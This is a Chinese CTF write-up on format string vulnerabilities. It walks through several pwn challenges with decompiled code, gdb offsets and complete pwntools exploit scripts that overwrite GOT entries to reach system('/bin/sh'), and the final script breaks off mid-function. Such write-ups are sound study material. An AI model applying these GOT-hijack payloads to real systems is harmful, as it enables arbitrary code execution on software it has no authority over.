整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧。
inndy_echo
保护和arch
[*] '/media/psf/mypwn2/buuctf/inndy_echo/echo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-10Ch]
unsigned int v4; // [esp+10Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
do
{
fgets(&s, 256, stdin);
printf(&s);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");
exit(0);
}
可以看到会无限的打印你输入的东西,并且有system这个函数,利用思路也就是GOT hijack,把printf函数的got改为system的plt,注意要单次printf多次写入,改为system的plt后,再传过去 /bin/sh ,此时就会变成 system(/bin/sh)
gdb调试
gdb-peda$ stack 0x20
0000| 0xffffd250 --> 0xffffd26c ("AAAA\n")
0004| 0xffffd254 --> 0x100
0008| 0xffffd258 --> 0xf7fb25a0 --> 0xfbad208b
0012| 0xffffd25c --> 0x0
0016| 0xffffd260 --> 0xf7ffd000 --> 0x23f40
0020| 0xffffd264 --> 0x80482e7 ("__libc_start_main")
0024| 0xffffd268 --> 0xf63d4e2e
0028| 0xffffd26c ("AAAA\n")
gdb-peda$ fmtarg 0xffffd26c
The index of format argument : 7 ("\%6$p")
确定偏移是7,打算一会写payload时候需要补齐,就 .ljust 补成0x20的,也就是 offset = 7 + 0x20/4 = 15
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./echo')
io = remote('node3.buuoj.cn',26990)
system_plt = 0x08048400
printf_got = 0x0804A010
def fmt_short(prev,val,idx,byte = 2):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "%" + str(256**byte - prev + val) + "c"
result += "%" + str(idx) + "$hn"
return result
prev = 0
payload = ""
key = 0x08048400
for i in range(2):
payload +=fmt_short(prev,(key >> 16*i) & 0xffff,15+i)
prev = (key >> i*16) & 0xffff
payload = payload.ljust(0x20,'a') + p32(printf_got) + p32(printf_got+2)
raw_input('->')
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()
换一种就是用pwntools模块,面对32位,这种情况还是很好用的:
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./echo')
io = remote('node3.buuoj.cn',26990)
system_plt = 0x08048400
printf_got = 0x0804A010
payload = fmtstr_payload(7,{printf_got : system_plt})
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()
[DEBUG] Sent 0x3c bytes:
00000000 10 a0 04 08 11 a0 04 08 12 a0 04 08 13 a0 04 08 │····│····│····│····│
00000010 25 32 34 30 63 25 37 24 68 68 6e 25 31 33 32 63 │%240│c%7$│hhn%│132c│
00000020 25 38 24 68 68 6e 25 31 32 38 63 25 39 24 68 68 │%8$h│hn%1│28c%│9$hh│
00000030 6e 25 34 63 25 31 30 24 68 68 6e 0a │n%4c│%10$│hhn·││
0000003c
可以看一下其生成的payload,把目标地址信息放在开头,在64位是肯定是不可行的。
jarvisoj_fm
ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", *(_DWORD *)&x);
if ( *(_DWORD *)&x != 4 )
return 0;
puts("running sh...");
system("/bin/sh");
return 0;
}
十分简单的题目,检验 x 值是否为4,如果是4(数字),就直接给你shell了。
exp
from pwn import *
context.log_level = 'debug'
# io = process('./fm')
io = remote('node3.buuoj.cn',26915)
# io.recv()
payload = p32(0x0804A02C) + '%11$hn'
raw_input('->')
io.sendline(payload)
io.interactive()
winesap_week6
源码:
#include
int main() {
setvbuf(stdout, 0, _IONBF, 0);
alarm(180);
char str[100];
while(gets(str)) {
printf(str);
}
return 0;
}
需要编译为64位,这个题比起来第一个也就是没有了system函数,需要自己泄漏一下libc的base,算出system地址,然后还是GOT hijack就可以了。
EXP
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
io = process('./fmt1')
elf = ELF('./fmt1')
libc = elf.libc
printf_got = 0x0000601020
io.sendline('%21$p')
io.recvuntil('0x')
libc_base = int((io.recv(12)),16) - 240 -libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
print('leak_libc_base: ' + hex(libc_base))
print('system_addr: ' + hex(system_addr))
def fmt_short(prev,val,idx,byte = 2):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "%" + str(256**byte - prev + val) + "c"
result += "%" + str(idx) + "$hn"
return result
prev = 0
payload = ""
key = system_addr
for i in range(3):
payload +=fmt_short(prev,(key >> 16*i) & 0xffff,12+i)
prev = (key >> i*16) & 0xffff
payload = payload.ljust(0x30,'a') + p64(printf_got) +p64(printf_got+2) + p64(printf_got+4)
io.sendline(payload)
sleep(1)
io.sendline('/bin/sh\x00')
io.interactive()
HITCON-Training-lab8
源码
#include
int magic = 0 ;
int main(){
char buf[0x100];
setvbuf(stdout,0,2,0);
puts("Please crax me !");
printf("Give me magic :");
read(0,buf,0x100);
printf(buf);
if(magic == 0xda){
system("cat /home/craxme/flag");
}else if(magic == 0xfaceb00c){
system("cat /home/craxme/craxflag");
}else{
puts("You need be a phd");
}
}
编译为64位。
分析
(这个题目是纯粹就是为了练习任意地址写入的,我这里就直接写exp拿sheel了。)可以看到当再一次printf,之后程序便停止了,且结束前有puts函数。
思路就是可以GOT hijack put函数的GOT为read函数哪里,让其call puts函数时返回到read函数,并且在这次printf函数漏洞利用时,也把printf函数的GOT改为system的plt,然后传入 /bin/sh 即可。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./craxme')
# io = remote('127.0.0.1',8888)
magic = 0x0000060106C
io.recvuntil(':')
system_plt = 0x04005A0
puts_got = 0x0601018
ret_addr = 0x00400747
printf_got = 0x00601030
key = 0x00400747
key2 = 0x04005A0
def fmt_short(prev,val,idx,byte = 2):
result = ""
if prev < val :
result += "%" + str(val - prev) + "c"
elif prev == val :
result += ''
else :
result += "